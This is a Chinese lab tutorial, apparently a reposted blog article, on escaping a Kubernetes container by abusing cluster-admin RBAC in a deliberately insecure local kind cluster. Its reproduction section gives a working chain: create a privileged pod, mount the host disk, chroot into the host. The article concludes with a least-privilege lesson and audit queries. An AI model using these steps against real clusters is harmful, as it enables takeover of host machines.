文章总结: 本文演示了Kubernetes集群中因RBAC权限配置错误导致的容器逃逸漏洞,通过搭建匿名认证开启的K8s环境,展示攻击者如何利用cluster-admin权限创建特权容器实现宿主机逃逸。文档详细提供了环境搭建步骤、漏洞复现过程,并强调权限最小化原则的重要性,指出核心危害在于滥用高权限创建特权容器而非单纯进入Pod。 综合评分: 79 文章分类: 漏洞分析,实战经验,安全建设,云安全,解决方案
K8s 滥用 RBAC 权限实现容器逃逸
原创
小智 小智
智榜样网络安全学习中心
2026年6月29日 17:20 湖南
在小说阅读器读本章
去阅读
前言
Kubernetes这东西,这几年火得一塌糊涂,大大小小的公司都在往上面迁。但是有一个数据说出来你可能不太信——超过六七成的K8s集群,存在着至少一项高危的配置方面的问题。注意,我说的不是那种需要很高技术含量才能利用的漏洞,就是单纯的配置没配好,等于门没锁。
之前做过一阵子的K8s安全审计,跑了一圈下来,十个集群里面六七个都有毛病。有的是API Server大敞着门,谁都能过来看看。有的是ServiceAccount权限给得大手大脚的,一个普通Pod拿着的居然是cluster-admin。还有etcd那边,数据裸着跑,连个TLS都没套。
这些可都不是小事。
这是一个 Kubernetes 的“权限配置错误”导致的特权提升漏洞的漏洞环境搭建过程
环境搭建
# 1. 安装 Docker(如果已装可跳过)
sudo apt update && sudo apt install -y docker.io
sudo systemctl enable --now docker
sudo usermod -aG docker $USER && newgrp docker
# 2. 安装 kubectl 它是 Kubernetes 的命令行管理工具,用于与集群交互。
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
chmod +x kubectl && sudo mv kubectl /usr/local/bin/
# 3. 安装 kind 使用 Docker 容器模拟 Kubernetes 节点来运行本地集群的工具
curl -Lo ./kind https://kind.sigs.k8s.io/dl/v0.20.0/kind-linux-amd64
chmod +x kind && sudo mv kind /usr/local/bin/
image-20260626193325670
创建“不安全”集群,使用以下 kind 配置文件,开启 API Server 匿名认证,并预留 etcd 端口供检查(实际不暴露,但保持结构)。
cat > insecure-cluster.yaml <<EOF
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
nodes:
- role: control-plane
extraPortMappings:
- containerPort: 6443
hostPort: 6443
protocol: TCP
kubeadmConfigPatches:
- |
apiVersion: kubeadm.k8s.io/v1beta3
kind: ClusterConfiguration
metadata:
name: config
etcd:
local:
# 保留默认配置,实际上 kind 会自己生成证书,但我们可以查看清单
dataDir: /var/lib/etcd
- |
apiVersion: kubeadm.k8s.io/v1beta3
kind: InitConfiguration
nodeRegistration:
kubeletExtraArgs:
node-labels: "ingress-ready=true"
- |
# 关键:修改 API Server 参数,开启匿名认证
apiVersion: kubeadm.k8s.io/v1beta3
kind: ClusterConfiguration
metadata:
name: config
apiServer:
extraArgs:
anonymous-auth: "true"
EOF
image-20260627133549553
# 创建集群
kind create cluster --name insecure-k8s --config insecure-cluster.yaml
image-20260627133736777
# 验证集群状态
kubectl cluster-info
kubectl get nodes
若出现如下错误
image-20260627134025810
请继续执行命令
kubectl config set-cluster kind-insecure-k8s --server=https://127.0.0.1:6443
image-20260627134011962
重新检测是否正常连接,这时候应该会正常显示连接状态
kubectl cluster-info
kubectl get nodes
image-20260627134152823
模拟“未认证用户获得权限”的问题,创建一个 ClusterRoleBinding,将 system:unauthenticated 组绑定到 view 角色(允许读取所有资源),模拟文中“把 ClusterRole 绑定到了 system:unauthenticated”的场景。
image-20260627162734761
模拟“default ServiceAccount 获得 cluster-admin”
image-20260627162800051
模拟通配符权限的角色
在 default 命名空间下创建一个角色,包含 resources: ["*"] 和 verbs: ["get", "list"],并绑定给默认 ServiceAccount。
# 创建通配符 Role
kubectl create role wide-reader \
--verb=get,list \
--resource='*' \
--namespace=default
# 绑定到 default ServiceAccount
kubectl create rolebinding wide-reader-binding \
--role=wide-reader \
--serviceaccount=default:default \
--namespace=default
image-20260627162948996
确认环境符合要求
kubectl cluster-info dump | grep anonymous-auth
image-20260627163014587
查看绑定给未认证用户的权限
kubectl get clusterrolebindings -o json | \
jq '.items[] | select(.subjects[]?.kind=="Group" and .subjects[]?.name=="system:unauthenticated")'
image-20260627163112365
检查 default ServiceAccount 是否拥有 cluster-admin
kubectl get clusterrolebindings -o json | \
jq '.items[] | select(.subjects[]?.kind=="ServiceAccount" and .subjects[]?.name=="default")'
image-20260627163231902
这种宽泛的权限(resources: ["*"],verbs: ["get", "list"])可以让 Pod 读取命名空间内所有敏感信息,包括 ConfigMap 和 Secret。
检查通配符角色
kubectl get clusterroles,roles --all-namespaces -o json | \
jq '.items[] | select( (.rules // [])[]? | (.resources[]? == "*" or .verbs[]? == "*") ) | {name: .metadata.name, rules: .rules}'
image-20260627163413658
使用docker拉取alpine/k8s:1.29.2
docker pull alpine/k8s:1.29.2
image-20260629140224527
创建被攻破的普通 Pod(test-pod)
kubectl run test-pod --image=alpine/k8s:1.29.2 --restart=Never -- sleep 3600
image-20260629140446444
漏洞复现
模拟攻击者已获得一个普通 Pod 的 shell
攻击者通常通过 Web 漏洞、弱密码等方式进入某个 Pod。我们通过 kubectl exec 来模拟这一步。
首先确保 test-pod 存在并运行,处于Running状态:
image-20260629154536244
进入pod,现在你就是在攻击者已经拿下的那个普通容器里面了
kubectl exec -it test-pod -- sh
image-20260629154622970
尝试查看物理磁盘设备输出为空,因为普通容器没有特权,无法访问宿主机的设备文件,/dev 下只有容器自己的虚拟设备。
fdisk -l | grep -E '^/dev'
image-20260629160824144
利用 cluster-admin Token 创建特权容器
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
name: host-escape
spec:
containers:
- name: pwned
image: alpine
command: ["sleep", "3600"]
securityContext:
privileged: true
restartPolicy: Never
EOF
kubectl get pod host-escape -w # 等待 Running
kubectl exec -it host-escape -- /bin/sh
image-20260629161258491
在 host-escape 中立即执行:
fdisk -l | grep -E '^/dev'
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host
ls /mnt/host/home # 看到 kali
chroot /mnt/host /bin/bash
cat /etc/os-release # 输出 Kali
image-20260629161316441
对比结论
| 容器类型 | 是否有特权 | 能否看到物理磁盘 | 能否逃逸到物理机 |
| — | — | — | — |
| test-pod (普通容器) | 无 | ❌ 否 | ❌ 否 |
| host-escape (特权容器) | 有 privileged: true | ✅ 是 | ✅ 是 |
攻击者进入 test-pod 后,虽然拥有 cluster-admin Token,但如果不创建特权容器,他仍然无法逃逸到物理机。
他必须先利用高权限 Token 向 Kubernetes 申请一个特权容器,才能获得对宿主机设备的访问权。
这恰恰说明:漏洞的核心危害不在于“进入了一个 Pod”,而在于“能滥用集群管理员权限创建任意特权容器”。
如果管理员没有错误地绑定 cluster-admin,即使攻击者进入 Pod,也无法创建特权容器,逃逸就不可能发生。这就是权限最小化原则的核心意义。
🎁 互动与福利
分享本文到朋友圈,点赞+在看+关注,一键三联,可以凭截图找老师领取
上千学习资料+工具哦
22919c6e4ef945aa9a9cbf0f6df4f6ff
分享后扫码加我!
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:智榜样网络安全学习中心 小智 小智《K8s 滥用 RBAC 权限实现容器逃逸》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论